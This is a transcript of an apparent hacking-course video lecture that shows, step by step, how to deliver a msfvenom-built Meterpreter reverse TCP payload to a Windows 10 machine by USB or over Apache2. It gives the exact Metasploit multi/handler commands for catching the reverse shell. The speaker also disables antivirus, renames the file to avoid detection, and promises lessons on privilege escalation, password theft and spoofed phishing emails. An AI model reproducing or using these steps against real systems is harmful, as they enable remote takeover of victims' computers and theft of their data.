Hello everybody and welcome back.
And now let us finally exploit our Windows 10 machine.
So, first of all, we created the payload with this command right here.
We encoded it with this encoder right here on five iterations. We named it reverse1.exe
The LHOST that we specified,
let me just close this, is our IP address, and the LPORT is for 4444.
So, what we want to do right now is we want to deliver this payload to our victim.
Now for the first time, we will do that over a USB drive, which is the easiest and most simple.
Now for this attack to work, you will need to have physical access to the victim's computer.
Later on I will show you how you can do that over e-mail, and how you can spoof fake e-mails and send
to anyone you want with the payload itself.
So, first of all, what we want to do is plug in
your USB drive into your PC.
So just plug it in.
Let me just....
OK.
So my USB drive is
plugged in.
But, you will notice that it will detect it in your main PC.
Now in order for you to detect it on the Kali Linux machine, what you want to do is go onto the devices right
here. So click on the devices, go to the USB,
and here you want to find your USB drive.
So for me this is the Kingston data travel 3.0.
And if you click on it you will see, if you go once again right here, that now it is connected to your
Kali Linux machine. So, in order for you to actually use it
this should pop up, and you just click on open with files, and it will open your Kali Linux drive.
Pardon me,
your USB drive. And all you want to do from there is basically just copy your reverse1.exe
or your payload, however you named it, to your USB drive. And simply just paste it into the USB.
So my payload is in the root directory. So if I just type here in the root directory,
let me just delete the other two. So reverse.exe we do not need, and shell.exe we do not need.
So, we only want to copy the reverse1.exe which is our final payload.
So let us do that by using the cp function in terminal, and then we specify these files which is reverse1.exe.
And where we want it to go
is media/root, and then just tab it to select your Kali Linux drive.
Now if you do not want to copy it like this, you can basically just go to the applications or,
pardon me, to the places. Then you want to go to the computer. Then basically just find your root directory.
So let me just find it, root directory. Just click copy right here, and you can paste it right here. And
that's how you can paste the file. Or you can use this command right here.
So basically what you want to do after this, so media/root, just click here the tab button, and it
automatically selects if you only have one USB drive plugged in, which you most likely do.
So, we will not run this since I already copied it. What we want to do right now is just click here on
this arrow in order to unmount the USB. After that, let me just close all of this. And what I want to
do right now is unplug it from my Kali Linux machine.
So just click right here, and right now it will be plugged in into my Windows 10 machine.
So what I want to do is copy and paste this file on my desktop, or wherever you basically want. You need
to provide administrator
OK.
So we copy the file...but let me see.
Why doesn't it want to? OK.
So, first thing.
So this will happen.
So, first thing that you want to do basically is, first of all let me just delete it since this will not
work.
The reason why is, first of all, you need to disable two things since this is a well known payload.
You need to disable your antivirus if you have it.
So for me that is the bitdefender. I will just click on it,
so this my antivirus, you open your antivirus, and what you want to do is basically just close the protection
for it.
So right now I will be able to transfer my virus in order for it to not get deleted, since my device
is at risk.
Now you will do the same with your antivirus, and you also need to do the same
with the Windows defender.
Now I already had that turned off, so let me just repeat the process.
I will do it real fast.
So, cp reverse1.exe into media/root and then Kali drive.
So now I want to change my directory. Ss we can see, item was deleted since it detected it as a Trojan,
as we can see right here.
That's why I couldn't run the file or copy it to the desktop.
But right now if I go to my Kali Linux drive and I use the,
let me just rename the file to shell.exe so it isn't named reverse1.exe.
And we need to do the same thing
as the previous time, so un-mount the USB drive.
So just uncheck it right here.
Now let's now try to copy the file once again.
So now as you can see it works, so the file is right here.
We do not need this USB drive anymore, or we will just leave it. It doesn't really matter.
And the next thing you want to do before you actually run this file is actually start up your listener.
Now,
let me change my directory to root and run msfconsole.
So,
as I said, you want to use your LHOST IP address and your LPORT that you specified in the payload itself.
Now one more thing to note is that you do not need to deliver the
payload within the USB drive,
you can also download it over Apache2.
But I found this simple. You can just start Apache2, then copy the payload into the /var/
www/html folder, and just open up from Windows 10 machine your IP address in the Google search
bar, and just click on the file to download it.
That is another way to do it. But, we will do it over the USB drive now since we already did it.
Now once you open the msfconsole, what you want to do is use/exploit/multi/handler, and what you want
to do is set the payload that you used in the process of making the payload with msfvenom.
Now we used Windows x64 meterpreter reverse TCP, so we want to set that payload as well. So set payload
windows/x64/meterpreter/reverse_tcp
So the next thing, we want to show options and set our LHOST.
Now our LHOST is .1.4 I believe. It has to be the same as in the payload specification.
So, set LHOST 192.168.1.4.
And right now, show options once again in order to double check it all, we have set the windows/x64/
meterpreter/reverse_tcp as payload, our LPORT is the same as in the specification of our payload,
and our LHOST is our IP address.
The only thing you want to do right now is type exploit.
Now in order to run the exploit as a background process you can just type your exploit
-j -z, and this is the process of listening in the background. So you will still be able to execute commands.
So show options and all of that instead of just waiting for the connection.
Now in order to close that process you can just type here jobs and it will say that
the jobs currently running are the exploit multihandler, and listening on this IP address right
here, and on this port.
So, the only thing we need to do right now is actually open this file.
Now, if you deliver this file over a USB drive, you can just double click it and it will open. But if you
download the file from the Internet, or from Apache2, or via email, or via anything else,
it will ask for permission to run it. It will ask
are you sure you want to run this file since it is a .exe file.
It is an executable and it will do this for every executable you download over the internet.
It will ask do you want to run it since it is an executable file.
But since we delivered it over a USB, we can just double click it and it will run
for us. It will not ask anything else, and it will just open.
But if I go right here to my Kali Linux machine, you will see that we got meterpreter session 1
open on our local listening address to the Windows 10 machine, which is .1.3 on
this port.
So if I just click here enter, in order for you to enter this session, since we are doing this for the
first time, what you want to type in your Metasploit is basically just sessions, and then it will
list you all of the sessions that you currently have. Now
at the moment we only have the session with our Windows 10 machine, since that is the only machine that we
attacked at the moment.
In order for you to enter that session what you want to do,
let me just clear this so you can see it better,
you can see this I.D. number 1.
So once you type sessions it will printout all of the sessions and you can see that the session I.D.
is number 1. In order for you to enter it just type here session -i and then 1. Oops...
I think its sessions -i and then 1.
Okay, so we will just add s.
So sessions -i and then 1, and we can see we successfully got our meterpreter shell open. Now
this is the first time, so what we want to do right now is basically just run the help command.
Since we do not know what we can run, and the help command will printout all of our available options
for the Metasploit framework Meterpreter shell.
So in order, for example, to check who we are we can just type here
getuid, and it will say that this is the user that we are currently.
So, we will notice that we are not the administrator which we will fix in post-exploitation
videos, where I will show you what else you can run, and how you can elevate privileges, how you can get
passwords, how you can upload /download files, and what else you can do.
But for now on this will be good.
So, for example, if I type ifconifg, you will see that my IP address is 192.168.1.8 and
it is also 192.168.1.3
Now you might be asking, how do I have two IP addresses?
Well, that is because I have a wireless network interface and a cable interface on my Windows
10 machine.
So I basically have two interfaces running and connected to the Internet at the moment. One of them,
as you can see, is the wireless network adapter which is at .1.8, and the other one is simply
over cable which is .1.3
So, this is the one. And you can also, for example, check some other commands...
let me just type help
so we can see what else we can run.
I believe you can check the arp tables as well.
So you just type here arp, yeah. There are a bunch of the other commands, and a bunch of the other modules,
that will also start running in the next video.
But for now we just wanted to get the session opened, and I will continue showing you what you can do in
the next video.
So I hope I see you there and take care.
Bye!